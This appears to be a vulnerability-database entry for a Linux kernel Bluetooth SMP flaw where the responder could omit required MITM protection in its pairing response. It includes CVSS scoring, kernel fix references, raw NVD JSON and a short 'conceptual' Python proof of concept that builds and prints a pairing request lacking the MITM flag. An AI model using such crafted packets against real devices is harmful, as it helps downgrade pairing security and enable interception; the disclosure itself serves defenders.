CVE-2026-43334

Description

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: SMP: force responder MITM requirements before building the pairing response smp_cmd_pairing_req() currently builds the pairing response from the initiator auth_req before enforcing the local BT_SECURITY_HIGH requirement. If the initiator omits SMP_AUTH_MITM, the response can also omit it even though the local side still requires MITM. tk_request() then sees an auth value without SMP_AUTH_MITM and may select JUST_CFM, making method selection inconsistent with the pairing policy the responder already enforces. When the local side requires HIGH security, first verify that MITM can be achieved from the IO capabilities and then force SMP_AUTH_MITM in the response in both rsp.auth_req and auth. This keeps the responder auth bits and later method selection aligned.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (Stable branches prior to fix commits)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# Conceptual PoC for CVE-2026-43334
# Simulates sending a Bluetooth SMP Pairing Request without MITM protection

def build_malicious_smp_pairing_req():
    # SMP Command Code: Pairing Request (0x01)
    code = 0x01
    
    # IO Capability: 0x00 (DisplayOnly)
    io_cap = 0x00
    
    # OOB data flag: 0x00 (OOB data not present)
    oob_flag = 0x00
    
    # Auth Requirement: Bonding (0x01) but explicitly without MITM (0x04)
    # This exploits the vulnerability where the responder fails to enforce MITM
    auth_req = 0x01 
    
    # Max Encryption Key Size: 16 bytes
    max_key_size = 0x10
    
    # Initiator and Responder Key Distribution/Generation
    init_key_dist = 0x0F
    resp_key_dist = 0x0F

    # Construct the packet
    packet = struct.pack('<BBBBBBB',
                         code,
                         io_cap,
                         oob_flag,
                         auth_req,
                         max_key_size,
                         init_key_dist,
                         resp_key_dist)
    
    return packet

if __name__ == "__main__":
    pkt = build_malicious_smp_pairing_req()
    print(f"Generated Malicious SMP Packet: {pkt.hex()}")
    # In a real exploit scenario, this packet is sent to the target device
    # to trigger the vulnerability during the pairing phase.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43334
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43334
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43334/
[4] VulDB https://vuldb.com/cve/CVE-2026-43334
[5] https://git.kernel.org/stable/c/01bb4045d2306c266178f49ce0c3576d237a3040
[6] https://git.kernel.org/stable/c/425a22c5373d4e1b46492ab869074ebeeade61f3
[7] https://git.kernel.org/stable/c/7ab69426e7ecbd18a222ee2ec87ca612d30197d7
[8] https://git.kernel.org/stable/c/91649c02c1baaa18cedf7fb425fa1f0f852c8183
[9] https://git.kernel.org/stable/c/c8ff0ca6508535bccabd81c5c9dcc63de8a3d4fb
[10] https://git.kernel.org/stable/c/d05111bfe37bfd8bd4d2dfe6675d6bdeef43f7c7
[11] https://git.kernel.org/stable/c/ec17efb1ef91506cfd17a77692eaf4bbacb520ea
[12] https://git.kernel.org/stable/c/fa14e0e19820b1bbdb42185c9c4efa950bcffef9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43334", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:43.130", "lastModified": "2026-05-11T08:16:09.977", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: SMP: force responder MITM requirements before building the pairing response\n\nsmp_cmd_pairing_req() currently builds the pairing response from the\ninitiator auth_req before enforcing the local BT_SECURITY_HIGH\nrequirement. If the initiator omits SMP_AUTH_MITM, the response can\nalso omit it even though the local side still requires MITM.\n\ntk_request() then sees an auth value without SMP_AUTH_MITM and may\nselect JUST_CFM, making method selection inconsistent with the pairing\npolicy the responder already enforces.\n\nWhen the local side requires HIGH security, first verify that MITM can\nbe achieved from the IO capabilities and then force SMP_AUTH_MITM in the\nresponse in both rsp.auth_req and auth. This keeps the responder auth bits\nand later method selection aligned."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/01bb4045d2306c266178f49ce0c3576d237a3040", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/425a22c5373d4e1b46492ab869074ebeeade61f3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/7ab69426e7ecbd18a222ee2ec87ca612d30197d7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/91649c02c1baaa18cedf7fb425fa1f0f852c8183", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c8ff0ca6508535bccabd81c5c9dcc63de8a3d4fb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/d05111bfe37bfd8bd4d2dfe6675d6bdeef43f7c7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ec17efb1ef91506cfd17a77692eaf4bbacb520ea", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/fa14e0e19820b1bbdb42185c9c4efa950bcffef9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}